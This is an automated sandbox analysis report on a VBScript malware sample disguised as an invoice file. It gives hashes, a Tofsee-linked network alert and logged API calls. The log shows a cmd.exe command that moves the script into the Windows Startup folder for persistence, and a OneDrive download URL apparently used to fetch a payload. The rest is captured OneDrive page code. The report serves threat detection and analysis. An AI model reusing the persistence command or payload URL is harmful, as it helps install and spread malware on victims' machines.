Summary | ZeroBOX

##INV225PDF.vbs

Category Machine Started Completed
FILE s1_win7_x6402 Sept. 9, 2022, 10:30 a.m. Sept. 9, 2022, 10:32 a.m.
Size 3.4KB
Type ASCII text, with very long lines, with CRLF line terminators
MD5 f98abafacba0c5ab793e5662b4baf85d
SHA256 94e247d680275a6ee236a1b975b9600a5e7006f27ae65aaabbb8f429d19063ed
CRC32 5EBE4A77
ssdeep 48:lBBErJP10BgNhNM636L2s9xAVNCoZr/GCMxlbaKJgwlzyi0XSSBcjBOmMH+J0+:js9qL2sDgGCMxh9JgigN2lj0+
Yara None matched

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49161 -> 13.107.42.13:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.102:49161
13.107.42.13:443
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 CN=onedrive.com 77:7f:f2:95:29:a7:e3:cc:0f:bf:2f:ba:2e:6f:2a:38:62:8b:48:4d

Time & API Arguments Status Return Repeated

WriteConsoleW

buffer: 1 file(s) moved.
console_handle: 0x00000007
1 1 0
request GET https://onedrive.live.com/download?cid=7C9C82DE5899257A&resid=7C9C82DE5899257A%212326&authkey=AFQStmbC1Mpi4TM
cmdline "C:\Windows\System32\cmd.exe" /c move "C:\Users\test22\AppData\Local\Temp\##INV225PDF.vbs" "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
Time & API Arguments Status Return Repeated

ShellExecuteExW

show_type: 0
filepath_r: CMD
parameters: /c move "C:\Users\test22\AppData\Local\Temp\##INV225PDF.vbs" "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
filepath: CMD
1 1 0
Time & API Arguments Status Return Repeated

MoveFileWithProgressW

newfilepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\##INV225PDF.vbs
flags: 3
oldfilepath_r: C:\Users\test22\AppData\Local\Temp\##INV225PDF.vbs
newfilepath: C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\##INV225PDF.vbs
oldfilepath: C:\Users\test22\AppData\Local\Temp\##INV225PDF.vbs
1 1 0
Time & API Arguments Status Return Repeated

InternetCrackUrlW

url: https://onedrive.live.com/download?cid=7C9C82DE5899257A&resid=7C9C82DE5899257A%212326&authkey=AFQStmbC1Mpi4TM
flags: 0
1 1 0

InternetCrackUrlW

url: https://onedrive.live.com/download?cid=7C9C82DE5899257A&resid=7C9C82DE5899257A%212326&authkey=AFQStmbC1Mpi4TM
flags: 0
1 1 0

HttpOpenRequestW

connect_handle: 0x00cc0008
http_version:
flags: 2160068880
http_method: GET
referer:
path: /download?cid=7C9C82DE5899257A&resid=7C9C82DE5899257A%212326&authkey=AFQStmbC1Mpi4TM
1 13369356 0

InternetCrackUrlA

url: Cookie:test22@live.com/
flags: 0
1 1 0

InternetCrackUrlA

url: https://onedrive.live.com/download?cid=7C9C82DE5899257A&resid=7C9C82DE5899257A%212326&authkey=AFQStmbC1Mpi4TM
flags: 0
1 1 0

InternetReadFile

buffer: <!DOCTYPE html> <html lang="en" dir="ltr" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" class=" fh responsive " style=""> <head> <meta http-equiv="Content-Type" content="text/html&#59;charset&#61;utf-8"/><meta name="msapplication-tap-highlight" content="no"/><meta name="referrer" content="origin-when-cross-origin"/><meta name="viewport" content="width&#61;device-width, initial-scale&#61;1.0, maximum-scale&#61;1.0, minimum-scale&#61;1.0, user-scalable&#61;no"/><meta name="format-detection" content="telephone&#61;no"/><script type="text/javascript">function Css_Start(b,a){return {apiId:b,propertyId:a,startTime:(new Date).getTime()}}function Css_Load(e,c){var d=window,b=e.styleSheet,a;try{if(b&&!b.rules.length&&!b.cssText)a=1}catch(f){a=1}a&&(c.errorCode="DownloadFailure");if(d.$Static)d.$Static.logQos(c)}function Css_Error(b,a){a.errorCode="DownloadFailure";window.$Static&&window.$Static.logQos(a)};cssQos1=Css_Start('Gfx_Css_MainCss_Download','Gfx');</script><link rel="StyleSheet" href="https&#58;//spoprod-a.akamaihd.net/files/onedrive-website-release-prod_master_20190726.002//maincss-306e9206.css" onload="Css_Load(this,cssQos1);" onerror="Css_Error(this,cssQos1);" type="text/css"/><style id="themecss" type="text/css">.t_bc,.ecxt_bc{background-color:#094AB2;}.t_bci,.ecxt_bci{background-color:#094AB2 !important;}.t_blc,.ecxt_blc{background-color:#CEDBF0;}.t_blci,.ecxt_blci,.t_mlli .t_sel,.t_mlli .t_sel .t_s_hovh{background-color:ThemeLightColor !important;}.t_sel{background-color:#D4D4D4;}.t_sela{background-color:#094AB2;}.t_seli{background-color:#D4D4D4;}.t_hov{background-color:#DEDEDE;}.t_hovl a:hover{background-color:#DEDEDE;}.t_hovl a.sel{background-color:#D4D4D4;}.t_hovlt a:hover .t_hovlt{background-color:#DEDEDE;}.t_hbg:hover{background-color:#DEDEDE;}.t_hdt,.t_hdt a,.t_hdt a:visited,.t_hdt a:hover,.t_hdt a:link{color:#fff;}.t_hdst,.t_hdt .c_hp li .link{color:#555;}.t_hp{border-left:1px solid #555;border-right:1px solid #555;}.t_hdbg{background-color:#094AB2;}.t_hdbg .c_m{border-color:#094AB2;
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: }.t_hdbg .c_m li a.t_seli,.t_hdbg .c_m li.c_mf > a{background:#094AB2 !important;color:#fff;}.c_hcnlto .t_hdbg .c_m li a.t_seli,.c_hcnlto .t_hdbg .c_m li.c_mf > a{background:#e0e0e0 !important;color:#000 !important;}.t_c_c.c_clt a:hover,.t_c_c.c_clt a:focus,.t_c_c a#c_clogoc:hover,.t_c_c a#c_clogoc:focus,.t_c_c a:hover.c_mehover,.t_c_c a:focus.c_mehover{background:#073D94;color:#fff;}.t_c_c li.c_sm:hover,.t_c_c li.c_sm:focus,.t_c_c.c_clt h1:hover,.t_c_c.c_clt h1:focus,.t_c_c.c_clt h1.c_clh{background:#0846A8;}.t_c_c a.c_cf,.t_c_c a.c_mf,.t_c_c li.c_mf > a,.t_c_c a.c_mehover.c_cf,.t_c_c a.c_mehover.c_mf,.t_c_c span.c_mf a.c_mehover{background:#073887;}.t_hdbg{background-color:#094AB2;}a,.t_lnk a,.t_lnk a:link,.t_elnk{color:#094AB2;}a:visited,.t_lnk a:visited{color:#094AB2;}a:hover,.t_lnk a:hover{color:#094AB2;color:rgba(9,74,178,.8);}a:focus,.t_prs{color:#094AB2;color:rgba(9,74,178,.6);}.t_lnkpi a{color:#000!important;}.t_lnkpi a:hover{color:#000!important;color:rgba(0,0,0,.8)!important;}.t_lnkpi a:focus,.t_lnkpi .t_prs{color:#000;color:rgba(0,0,0,.6);}.t_lnksi a{color:#666!important;}.t_lnksi a:hover{color:#666!important;color:rgba(102,102,102,.8)!important;}.t_lnksi a:focus,.t_lnksi .t_prs{color:#666!important;color:rgba(102,102,102,.6)!important;}:root input[type=button].default,:root input[type=submit].default,:root button.default{background-color:#094AB2;color:#fff;}:root input[type=button]:hover.default,:root input[type=submit]:hover.default,:root button:hover.default{background-color:#4372BD;}.t_cbpr{border-top-color:#094AB2 !important;}.t_cbps{border-top-color:#d4d4d4 !important;}.t_cbr{background-color:#094AB2 !important;}.t_cbs{background-color:#d4d4d4 !important;}.t_rc{color:#094AB2 !important;}div#pp div#ppContacts ul li.ItemHover a,div.albumViewControl ol li.albumHoverItem,.dvRow:hover,.tiabk{background-color:#DEDEDE;border:1px solid #BBD8FB;}div#pp div#ppContacts ul li.ItemSelected a{background-color:#D4D4D4;border:1px solid #D4D4D4;}li.up_currentdrop,div.up_currentdrop{background-color:#DEDEDE;border:1px solid #BBD8FB;}div.up_currentdrop div.setTitleBox,.bestFitRows a.up_currentdrop .itemTp{background-color:#DEDEDE;}.t_cbgc{background-color:#ffffff;}.t_ctc{color:#000000;}.t_cstc{color:#666666;}</style><script type="text/javascript">//<![CDATA[ if(!window["$Do"]){$Do={};$Do.q=[]}(function(){var a=$Do,b="Page",d="_webConsoleLog",e="_webConsoleWarn";function c(e,c){var a=window&&window[b]?window[b]:null;if(a&&a[d])a[d](e,c)}function f(f,c){var a=window&&window[b]?window[b]:null;if(a&&a[d])a[e](f,c)}a.iff=function(b,d){c("$Do.iff('{0}')",b);return a.c?a.c(b,d,1,arguments):0};a.when=function(b,e){c("$Do.when('{0}')",b);var d=a.x&&a.x();if(!a.c||!a.c(b,e,0,arguments,undefined,d))a.q.push({id:b,c:e,a:arguments,x:d})};a.wE=function(b,d){c("$Do.wE('{0}')",b);if(!a.c||!a.c(b,d,0,arguments,true))a.w={id:b,c:d,a:arguments}};a.remove=function(d,e){c("$Do.remove('{0}')",d);var b=a.q.indexOf({id:d,c:e,a:arguments,x:undefined});if(b>=0)a.q.splice(b,1)};a.register=function(b,d,c){f("$Do.register('{0}',dummy)",b);a.when("$Do.Full",0,function(){a.register(b,d,c)})}})() //]]></script><script type="text/javascript">//<![CDATA[ var $B={'ltr':1,'SignedOut':1,'IE':1,'IE_Win':1,'Win6':1,'IE_M9':1,'IE_D0':1,'Full':1,'RE_Trident':1,browser: { name: "IE", major: "9", minor: "0"},os: { name: "Windows NT 6.1"},V:9.0} //]]></script><script type="text/javascript">//<![CDATA[ window["$BSI"]={headTime:(new Date).getTime()};window["$CSIPerf"]={lapse:[{},{s:"h",t:$BSI.headTime}],csd:{},_ttg:$BSI.headTime} //]]></script><script type="text/javascript">//<![CDATA[ var _d=document,_dh=_d.getElementsByTagName("head")[0];function _ge(a){return _d.getElementById(a)}var $U={a:"^((ftp|http|https):)?//",b:"(^(\\s?ftp:|\\s?http:|\\s?https:|\\s?//))",primaryAjaxDelimiter:"#",pairDelimiter:"&",keyValueDelimiter:"=",queryDelimiter:"?",isAbsoluteUrl:function(a){var b=new RegExp($U.a,"i"),c=new RegExp($U.b,"i");return b.test(a)||c.test(a)},getHost:function(c){var a=$U.a+"([^:/]*([:][^@/]*)?[@])?([-.a-z0-9]*)[^-.a-z0-9]?",b=new RegExp(a,"i");return urlHost=(S
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: length>0)a.pop();return a.join("")}} //]]></script><script type="text/javascript">//<![CDATA[ var $CJ={"p":"\u002fL7m1mEmqofJw1U1MjjyfuYn5bTarDvHGfoyUNA1L1U\u003d0","c":null}; //]]></script> <script type="text/javascript">var Flight={"version":"onedrive-website-release-prod_master_20190726.002","name":"master","manifest":"Legacy","session":"e377e2de-3ee2-427c-9ee2-3db39969b62e","cid":"0","xid":"82aac556-fc67-4b87-823e-6a59cf0f4246","contentBaseUrl":"https\u003a\u002f\u002fspoprod-a.akamaihd.net\u002ffiles\u002fonedrive-website-release-prod_master_20190726.002\u002f","UserGroup":"PROD","baseUrl":"https\u003a\u002f\u002fspoprod-a.akamaihd.net\u002ffiles\u002fonedrive-website-release-prod_master_20190726.002\u002f"};</script><script type="text/javascript">!function(){var n=!0,t="JSUnhandledError",e=window.JSUnhandledError=function(e){this.context=Log.start(t,!n),e&&this.setData(e)};e.logData=function(n){new e(n).end()},e.enabled=n,e.eventName=t,e.prototype={name:t,setData:function(n){return this.context.setData({message:Log.cleanString(n.message),stack:Log.cleanString(n.stack),line:n.line,col:n.col,url:Log.cleanString(n.url)})},asyncCallback:function(n){return this.context.asyncCallback(n)},end:function(){return this.context.end()},logError:function(n){return this.context.logError(n)}}}(); !function(){var t=!0,n="JSCaughtError",e=window.JSCaughtError=function(e){this.context=Log.start(n,!t),e&&this.setData(e)};e.logData=function(t){new e(t).end()},e.enabled=t,e.eventName=n,e.prototype={name:n,setData:function(t){return this.context.setData({message:Log.cleanString(t.message),stack:Log.cleanString(t.stack)})},asyncCallback:function(t){return this.context.asyncCallback(t)},end:function(){return this.context.end()},logError:function(t){return this.context.logError(t)}}}(); !function(){function n(){return(new Date).getTime()-T}function t(n){return n?encodeURIComponent(n+""):""}function e(n){b++;var e=document.createElement("img");window.document&&window.document.location&&window.document.location.href&&(n+=" - "+window.document.location.href.replace(/authkey=[^&]*/i,"")),e.src="/log?sessionId="+t(window.Flight&&window.Flight.session)+"&experienceId="+t(window.Flight&&window.Flight.xid)+"&name="+t(window.Flight&&window.Flight.name)+"&cid="+t(window.Flight&&window.Flight.cid)+"&version="+t(window.Flight&&window.Flight.version)+"&manifest="+t(window.Flight&&window.Flight.manifest)+"&startTime="+t(window.Log&&window.Log.startDate&&window.Log.startDate.toUTCString&&window.Log.startDate.toUTCString())+"&endTime="+t(window.Log&&window.Log.getLogTime&&window.Log.getLogTime())+"&message="+t(n)}function i(n){var t=n.message||n.description||(n.toString?n.toString():""),e=n.stack;return{message:p+t,stack:e,orginalError:n}}function o(n,t){for(var i=0;i<E.length;i++)try{E[i](n,t)}catch(o){e("Error in handler on event name "+n+" - "+(o&&o.message)+" - "+(o&&o.stack))}}function r(n){o(w,n),S.push(n),S.length>x&&(S=S.splice(0,1))}function a(n,t,i){if(t)if(k.length){var o;do o=k.pop(),o.errorTerminated=!0,o.end();while(o!=n&&k.length)}else e("Logging context "+n.name+" was not found in the log stack");else k.length&&k[k.length-1]==n?k.pop():i&&e(k.length?"Logging context "+n.name+" was ended while log context "+k[k.length-1].name+" was at the top of the stack":"Logging context "+n.name+" was ended with no items in the log stack")}function l(t,e){t.endTime||(t.endTime=n(),a(t,e,!0),r(t))}function s(n,t){return n&&n.length>t&&(n=n.substr(0,t-3)+"..."),n}function g(n){var t;if(n){var e=n&&n.toString?n.toString():"InvalidMethod()",i=e.indexOf(")")+1,o=8==e.indexOf(" ")?9:0;if(t=e.substring(o,i),0==t.indexOf("function")){var r=i+m;e=e.replace(/\s\s*/gi," "),t=s(e,r)+(r<e.length?"}":"")}}return t}function c(){for(var n=[],t=arguments.callee;t==d||t==c;)try{t=t?t.caller:t}catch(e){t=null}for(var i=0;t&&f>i;){n.push(t);try{t=t.caller}catch(e){t=null}i++}for(var o=n.length,r=[],a=0;o>a&&f>a;a++){var l=n[a],s="";r.push(g(l)+"("+s+")")}return r}function d(n,t,e,i,o){if(n&&n.indexOf(p)<0){var r=c(),a=r?r.join("\n"):"",l={message:n,url:t,line:e,col:i,
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: .length>=m?g():F||(F=setTimeout(function(){F=null,l()},r-e))}}var f=/[^\w .,-]/g,d=1e4,h=3e4,m=50,v=2,p=3e3,y=[],T=!1,L=0,w=Log.getLogTime(),F=null,S=0,E="undefined"!=typeof JSON;Log.addHandler(function(t,n){t==Log.eventTypes.end&&(n.name!=Log.dataTypes.unHandledError&&n.name!=Log.dataTypes.caughtError&&n.name!=RequireJSError.eventName||(T=!0),l(n))})}(); /** vim: et:ts=4:sw=4:sts=4 * @license RequireJS 2.2.0 Copyright jQuery Foundation and other contributors. * Released under MIT license, http://github.com/requirejs/requirejs/LICENSE */ var requirejs,require,define;!function(global){function commentReplace(e,t,i,r){return r||""}function isFunction(e){return"[object Function]"===ostring.call(e)}function isArray(e){return"[object Array]"===ostring.call(e)}function each(e,t){if(e){var i;for(i=0;i<e.length&&(!e[i]||!t(e[i],i,e));i+=1);}}function eachReverse(e,t){if(e){var i;for(i=e.length-1;i>-1&&(!e[i]||!t(e[i],i,e));i-=1);}}function hasProp(e,t){return hasOwn.call(e,t)}function getOwn(e,t){return hasProp(e,t)&&e[t]}function eachProp(e,t){var i;for(i in e)if(hasProp(e,i)&&t(e[i],i))break}function mixin(e,t,i,r){return t&&eachProp(t,function(t,n){!i&&hasProp(e,n)||(!r||"object"!=typeof t||!t||isArray(t)||isFunction(t)||t instanceof RegExp?e[n]=t:(e[n]||(e[n]={}),mixin(e[n],t,i,r)))}),e}function bind(e,t){return function(){return t.apply(e,arguments)}}function scripts(){return document.getElementsByTagName("script")}function defaultOnError(e){throw e}function getGlobal(e){if(!e)return e;var t=global;return each(e.split("."),function(e){t=t[e]}),t}function makeError(e,t,i,r){var n=new Error(t+"\nhttp://requirejs.org/docs/errors.html#"+e);return n.requireType=e,n.requireModules=r,i&&(n.originalError=i),n}function newContext(e){function t(e){var t,i;for(t=0;t<e.length;t++)if(i=e[t],"."===i)e.splice(t,1),t-=1;else if(".."===i){if(0===t||1===t&&".."===e[2]||".."===e[t-1])continue;t>0&&(e.splice(t-1,2),t-=2)}}function i(e,i,r){var n,o,a,s,u,c,d,p,f,l,h,m,g=i&&i.split("/"),v=y.map,x=v&&v["*"];if(e&&(e=e.split("/"),d=e.length-1,y.nodeIdCompat&&jsSuffixRegExp.test(e[d])&&(e[d]=e[d].replace(jsSuffixRegExp,"")),"."===e[0].charAt(0)&&g&&(m=g.slice(0,g.length-1),e=m.concat(e)),t(e),e=e.join("/")),r&&v&&(g||x)){a=e.split("/");e:for(s=a.length;s>0;s-=1){if(c=a.slice(0,s).join("/"),g)for(u=g.length;u>0;u-=1)if(o=getOwn(v,g.slice(0,u).join("/")),o&&(o=getOwn(o,c))){p=o,f=s;break e}!l&&x&&getOwn(x,c)&&(l=getOwn(x,c),h=s)}!p&&l&&(p=l,f=h),p&&(a.splice(0,f,p),e=a.join("/"))}return n=getOwn(y.pkgs,e),n?n:e}function r(e){isBrowser&&each(scripts(),function(t){return t.getAttribute("data-requiremodule")===e&&t.getAttribute("data-requirecontext")===q.contextName?(t.parentNode.removeChild(t),!0):void 0})}function n(e){var t=getOwn(y.paths,e);return t&&isArray(t)&&t.length>1?(t.shift(),q.require.undef(e),q.makeRequire(null,{skipMap:!0})([e]),!0):void 0}function o(e){var t,i=e?e.indexOf("!"):-1;return i>-1&&(t=e.substring(0,i),e=e.substring(i+1,e.length)),[t,e]}function a(e,t,r,n){var a,s,u,c,d=null,p=t?t.name:null,f=e,l=!0,h="";return e||(l=!1,e="_@r"+(A+=1)),c=o(e),d=c[0],e=c[1],d&&(d=i(d,p,n),s=getOwn(j,d)),e&&(d?h=s&&s.normalize?s.normalize(e,function(e){return i(e,p,n)}):-1===e.indexOf("!")?i(e,p,n):e:(h=i(e,p,n),c=o(h),d=c[0],h=c[1],r=!0,a=q.nameToUrl(h))),u=!d||s||r?"":"_unnormalized"+(T+=1),{prefix:d,name:h,parentMap:t,unnormalized:!!u,url:a,originalName:f,isDefine:l,id:(d?d+"!"+h:h)+u}}function s(e){var t=e.id,i=getOwn(S,t);return i||(i=S[t]=new q.Module(e)),i}function u(e,t,i){var r=e.id,n=getOwn(S,r);!hasProp(j,r)||n&&!n.defineEmitComplete?(n=s(e),n.error&&"error"===t?i(n.error):n.on(t,i)):"defined"===t&&i(j[r])}function c(e,t){var i=e.requireModules,r=!1;t?t(e):(each(i,function(t){var i=getOwn(S,t);i&&(i.error=e,i.events.error&&(r=!0,i.emit("error",e)))}),r||req.onError(e))}function d(){globalDefQueue.length&&(each(globalDefQueue,function(e){var t=e[0];"string"==typeof t&&(q.defQueueMap[t]=!0),O.push(e)}),globalDefQueue=[])}function p(e){delete S[e],delete k[e]}function f(e,t,i){var r=e.map.id;e.error?e.emit("error",e.error):(t[r]=!0
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: "),m(t,q.onScript
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: Error,"error"),{node:t,id:t&&t.getAttribute("data-requiremodule")}}function v(){var e;for(d();O.length;){if(e=O.shift(),null===e[0])return c(makeError("mismatch","Mismatched anonymous define() module: "+e[e.length-1]));h(e)}q.defQueueMap={}}var x,b,q,E,w,y={waitSeconds:7,baseUrl:"./",paths:{},bundles:{},pkgs:{},shim:{},config:{}},S={},k={},M={},O=[],j={},P={},R={},A=1,T=1;return E={require:function(e){return e.require?e.require:e.require=q.makeRequire(e.map)},exports:function(e){return e.usingExports=!0,e.map.isDefine?e.exports?j[e.map.id]=e.exports:e.exports=j[e.map.id]={}:void 0},module:function(e){return e.module?e.module:e.module={id:e.map.id,uri:e.map.url,config:function(){return getOwn(y.config,e.map.id)||{}},exports:e.exports||(e.exports={})}}},b=function(e){this.events=getOwn(M,e.id)||{},this.map=e,this.shim=getOwn(y.shim,e.id),this.depExports=[],this.depMaps=[],this.depMatched=[],this.pluginMaps={},this.depCount=0},b.prototype={init:function(e,t,i,r){r=r||{},this.inited||(this.factory=t,i?this.on("error",i):this.events.error&&(i=bind(this,function(e){this.emit("error",e)})),this.depMaps=e&&e.slice(0),this.errback=i,this.inited=!0,this.ignore=r.ignore,r.enabled||this.enabled?this.enable():this.check())},defineDep:function(e,t){this.depMatched[e]||(this.depMatched[e]=!0,this.depCount-=1,this.depExports[e]=t)},fetch:function(){if(!this.fetched){this.fetched=!0,q.startTime=(new Date).getTime();var e=this.map;return this.shim?void q.makeRequire(this.map,{enableBuildCallback:!0})(this.shim.deps||[],bind(this,function(){return e.prefix?this.callPlugin():this.load()})):e.prefix?this.callPlugin():this.load()}},load:function(){var e=this.map.url;P[e]||(P[e]=!0,q.load(this.map.id,e))},check:function(){if(this.enabled&&!this.enabling){var e,t,i=this.map.id,r=this.depExports,n=this.exports,o=this.factory;if(this.inited){if(this.error)this.emit("error",this.error);else if(!this.defining){if(this.defining=!0,this.depCount<1&&!this.defined){if(isFunction(o)){if(this.events.error&&this.map.isDefine||req.onError!==defaultOnError)try{n=q.execCb(i,o,r,n)}catch(a){e=a}else n=q.execCb(i,o,r,n);if(this.map.isDefine&&void 0===n&&(t=this.module,t?n=t.exports:this.usingExports&&(n=this.exports)),e)return e.requireMap=this.map,e.requireModules=this.map.isDefine?[this.map.id]:null,e.requireType=this.map.isDefine?"define":"require",c(this.error=e)}else n=o;if(this.exports=n,this.map.isDefine&&!this.ignore&&(j[i]=n,req.onResourceLoad)){var s=[];each(this.depMaps,function(e){s.push(e.normalizedMap||e)}),req.onResourceLoad(q,this.map,s)}p(i),this.defined=!0}this.defining=!1,this.defined&&!this.defineEmitted&&(this.defineEmitted=!0,this.emit("defined",this.exports),this.defineEmitComplete=!0)}}else hasProp(q.defQueueMap,i)||this.fetch()}},callPlugin:function(){var e=this.map,t=e.id,r=a(e.prefix);this.depMaps.push(r),u(r,"defined",bind(this,function(r){var n,o,d,f=getOwn(R,this.map.id),l=this.map.name,h=this.map.parentMap?this.map.parentMap.name:null,m=q.makeRequire(e.parentMap,{enableBuildCallback:!0});return this.map.unnormalized?(r.normalize&&(l=r.normalize(l,function(e){
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: return i(e,h,!0)})||""),o=a(e.prefix+"!"+l,this.map.parentMap),u(o,"defined",bind(this,function(e){this.map.normalizedMap=o,this.init([],function(){return e},null,{enabled:!0,ignore:!0})})),d=getOwn(S,o.id),void(d&&(this.depMaps.push(o),this.events.error&&d.on("error",bind(this,function(e){this.emit("error",e)})),d.enable()))):f?(this.map.url=q.nameToUrl(f),void this.load()):(n=bind(this,function(e){this.init([],function(){return e},null,{enabled:!0})}),n.error=bind(this,function(e){this.inited=!0,this.error=e,e.requireModules=[t],eachProp(S,function(e){0===e.map.id.indexOf(t+"_unnormalized")&&p(e.map.id)}),c(e)}),n.fromText=bind(this,function(i,r){var o=e.name,u=a(o),d=useInteractive;r&&(i=r),d&&(useInteractive=!1),s(u),hasProp(y.config,t)&&(y.config[o]=y.config[t]);try{req.exec(i)}catch(p){return c(makeError("fromtexteval","fromText eval for "+t+" failed: "+p,p,[t]))}d&&(useInteractive=!0),this.depMaps.push(u),q.completeLoad(o),m([o],n)}),void r.load(e.name,m,n,y))})),q.enable(r,this),this.pluginMaps[r.id]=r},enable:function(){k[this.map.id]=this,this.enabled=!0,this.enabling=!0,each(this.depMaps,bind(this,function(e,t){var i,r,n;if("string"==typeof e){if(e=a(e,this.map.isDefine?this.map:this.map.parentMap,!1,!this.skipMap),this.depMaps[t]=e,n=getOwn(E,e.id))return void(this.depExports[t]=n(this));this.depCount+=1,u(e,"defined",bind(this,function(e){this.undefed||(this.defineDep(t,e),this.check())})),this.errback?u(e,"error",bind(this,this.errback)):this.events.error&&u(e,"error",bind(this,function(e){this.emit("error",e)}))}i=e.id,r=S[i],hasProp(E,i)||!r||r.enabled||q.enable(e,this)})),eachProp(this.pluginMaps,bind(this,function(e){var t=getOwn(S,e.id);t&&!t.enabled&&q.enable(e,this)})),this.enabling=!1,this.check()},on:function(e,t){var i=this.events[e];i||(i=this.events[e]=[]),i.push(t)},emit:function(e,t){each(this.events[e],function(e){e(t)}),"error"===e&&delete this.events[e]}},q={config:y,contextName:e,registry:S,defined:j,urlFetched:P,defQueue:O,defQueueMap:{},Module:b,makeModuleMap:a,nextTick:req.nextTick,onError:c,configure:function(e){if(e.baseUrl&&"/"!==e.baseUrl.charAt(e.baseUrl.length-1)&&(e.baseUrl+="/"),"string"==typeof e.urlArgs){var t=e.urlArgs;e.urlArgs=function(e,i){return(-1===i.indexOf("?")?"?":"&")+t}}var i=y.shim,r={paths:!0,bundles:!0,config:!0,map:!0};eachProp(e,function(e,t){r[t]?(y[t]||(y[t]={}),mixin(y[t],e,!0,!0)):y[t]=e}),e.bundles&&eachProp(e.bundles,function(e,t){each(e,function(e){e!==t&&(R[e]=t)})}),e.shim&&(eachProp(e.shim,function(e,t){isArray(e)&&(e={deps:e}),!e.exports&&!e.init||e.exportsFn||(e.exportsFn=q.makeShimExports(e)),i[t]=e}),y.shim=i),e.packages&&each(e.packages,function(e){var t,i;e="string"==typeof e?{name:e}:e,i=e.name,t=e.location,t&&(y.paths[i]=e.location),y.pkgs[i]=e.name+"/"+(e.main||"main").replace(currDirRegExp,"").replace(jsSuffixRegExp,"")}),eachProp(S,function(e,t){e.inited||e.map.unnormalized||(e.map=a(t,null,!0))}),(e.deps||e.callback)&&q.require(e.deps||[],e.callback)},makeShimExports:function(e){function t(){var t;return e.init&&(t=e.init.apply(global,arguments)),t||e.exports&&getGlobal(e.exports)}return t},makeRequire:function(t,n){function o(i,r,u){var d,p,f;return n.enableBuildCallback&&r&&isFunction(r)&&(r.__requireJsBuild=!0),"string"==typeof i?isFunction(r)?c(makeError("requireargs","Invalid require call"),u):t&&hasProp(E,i)?E[i](S[t.id]):req.get?req.get(q,i,t,o):(p=a(i,t,!1,!0),d=p.id,hasProp(j,d)?j[d]:c(makeError("notloaded",'Module name "'+d+'" has not been loaded yet for context: '+e+(t?"":". Use require([])")))):(v(),q.nextTick(function(){v(),f=s(a(null,t)),f.skipMap=n.skipMap,f.init(i,r,u,{enabled:!0}),l()}),o)}return n=n||{},mixin(o,{isBrowser:isBrowser,toUrl:function(e){var r,n=e.lastIndexOf("."),o=e.split("/")[0],a="."===o||".."===o;return-1!==n&&(!a||n>1)&&(r=e.substring(n,e.length),e=e.substring(0,n)),q.nameToUrl(i(e,t&&t.id,!0),r,!0)},defined:function(e){return hasProp(j,a(e,t,!1,!0).id)},specified:function(e){return e=a(e,t,!1,!0).id,hasProp(j,e)||hasProp(S,e)}}),t||(o.undef=function(e){d();var i=a(e,t,!0),n=getOwn(S,e);n.undefed=!0,r(e
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: e),r.setAttribute("data-requiremodule",t),!r.attachEvent||r.attachEvent.toString&&r.attachEvent.toString().indexOf("[native code")<0||isOpera?(r.addEventListener("load",e.onScriptLoad,!1),r.addEventListener("error",e.onScriptError,!1)):(useInteractive=!0,r.attachEvent("onreadystatechange",e.onScriptLoad)),r.src=i,n.onNodeCreated&&n.onNodeCreated(r,n,t,i),currentlyAddingScript=r,baseElement?head.insertBefore(r,baseElement):head.appendChild(r),currentlyAddingScript=null,r;if(isWebWorker)try{setTimeout(function(){},0),importScripts(i),e.completeLoad(t)}catch(o){e.onError(makeError("importscripts","importScripts failed for "+t+" at "+i,o,[t]))}},isBrowser&&!cfg.skipDataMain&&eachReverse(scripts(),function(e){return head||(head=e.parentNode),dataMain=e.getAttribute("data-main"),dataMain?(mainScript=dataMain,cfg.baseUrl||-1!==mainScript.indexOf("!")||(src=mainScript.split("/"),mainScript=src.pop(),subPath=src.length?src.join("/")+"/":"./",cfg.baseUrl=subPath),mainScript=mainScript.replace(jsSuffixRegExp,""),req.jsExtRegExp.test(mainScript)&&(mainScript=dataMain),cfg.deps=cfg.deps?cfg.deps.concat(mainScript):[mainScript],!0):void 0}),define=function(e,t,i){var r,n;"string"!=typeof e&&(i=t,t=e,e=null),isArray(t)||(i=t,t=null),!t&&isFunction(i)&&(t=[],i.length&&(i.toString().replace(commentRegExp,commentReplace).replace(cjsRequireRegExp,function(e,i){t.push(i)}),t=(1===i.length?["require"]:["require","exports","module"]).concat(t))),useInteractive&&(r=currentlyAddingScript||getInteractiveScript(),r&&(e||(e=r.getAttribute("data-requiremodule")),n=contexts[r.getAttribute("data-requirecontext")])),n?(n.defQueue.push([e,t,i]),n.defQueueMap[e]=!0):globalDefQueue.push([e,t,i])},define.amd={jQuery:!0},req.exec=function(text){return eval(text)},req(cfg)}}(this); !function(){var e=!0,t="RequireJSError",n=window.RequireJSError=function(n){this.context=Log.start(t,!e),n&&this.setData(n)};n.logData=function(e){new n(e).end()},n.enabled=e,n.eventName=t,n.prototype={name:t,setData:function(e){return this.context.setData({message:Log.cleanString(e.message),requireModules:e.requireModules,requireType:Log.cleanString(e.requireType),stack:Log.cleanString(e.stack)})},asyncCallback:function(e){return this.context.asyncCallback(e)},end:function(){return this.context.end()},logError:function(e){return this.context.logError(e)}}}(); !function(){requirejs.onError=function(r){var e=new RequireJSError(r);!r||r.requireType&&"timeout"==r.requireType?e.end():"scripterror"==r.requireType&&!r.stack&&r.requireModules?e.logError({message:"Download failure for - "+r.requireModules.join(","),stack:document.location.href+" - "+r.requireModules.join(",")}):e.logError(r)}}(); !function(){var 